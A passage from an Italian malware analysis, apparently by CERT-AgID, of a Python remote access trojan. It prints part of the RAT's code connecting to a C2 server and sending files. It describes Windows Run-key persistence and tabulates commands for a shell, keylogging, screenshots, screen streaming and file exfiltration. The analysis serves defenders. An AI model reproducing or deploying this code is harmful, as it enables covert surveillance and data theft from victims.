sr.sendall(bytes_read)
sr.close()
else: s.send("no".encode())
control()
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))
control()
def c():
while True:
tigger = sp.recv(1024).decode()
if "start" in tigger:
client_start()
else:
sp.send("gg".encode())
while True:
try:
sp = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sp.connect((HOST, 8879))
while True: c()
except: pass
Ad inizio script sono dichiarate le variabili di configurazioni e viene assicurata la persistenza tramite la solita chiave Run del registro di Windows. Nella configurazione è possibile osservare chiaramente il C2.
L’esecuzione poi arriva al seguente codice.
Il codice del RAT avvia subito una connessione verso il C2 ma sulla porta 8879 e rimane in attesa del comando di start. Finchè non lo riceve invierà al C2 la stringa gg (good game?).
Una volta partito il RAT contatterà di nuovo il C2 ma sulla porta configurata e attenderà un comando. Il codice è dentro la funzione control
ed è molto semplice da leggere per cui riportiamo di seguito solo la lista dei comandi supportati e la loro funzionalità.
Comandi supportati
Comando | Descrizione |
exit | Termina la connessione al C2 ma non termina il RAT. L’attaccante può riavviare la connessione reinviando il comando start visto primo. |
shell | Emula un prompt di comandi (più che una shell). Permette di navigare le directory e di invocare programmi/comandi arbitrari. |
keylogger | Avvia il keylogger. I dati sono salvati in %APPDATA%\Roaming\keylogs.txt. Utilizza il modulo keyboard di Python. |
keyblock_start | Fa ripartire il keylogger. |
keyblock_stop | Mette in pausa il keylogger |
reboot | Riavvia la macchina |
shutdown | Spenge la macchina |
screenshot | Invia uno screenshot al C2 |
persistence | Reimposta la chiave Run per la persistenza |
screenshare | Avvia uno streaming live dello schermo verso il C2 |
sysinfo | Invia al C2 una descrizione generica della macchina. Contiene: IP pubblico, nome macchina, nome OS, processore |
download | Invia al C2 un file arbitrario scelto dagli attaccanti |
Similitudini
Esistono molti progetti di RAT scritti in Python e disponibili sulla piattaforma Github, quello che si avvicina di più al codice utilizzato per questa campagna sembra essere proprio Python-RAT.
I 12 comandi sopra citati sono tutti presenti nel progetto Python-RAT che in realtà ne contiene oltre 40, le funzioni e la struttura del codice sono simili anche se alcune variabili sono state rinominate (ad esempio command in cmd).
Indicatori di Compromissione
Gli IoC relativi a questa minaccia sono stati già condivisi con le organizzazioni accreditate al flusso IoC del CERT-AgID.
Link: Download IoC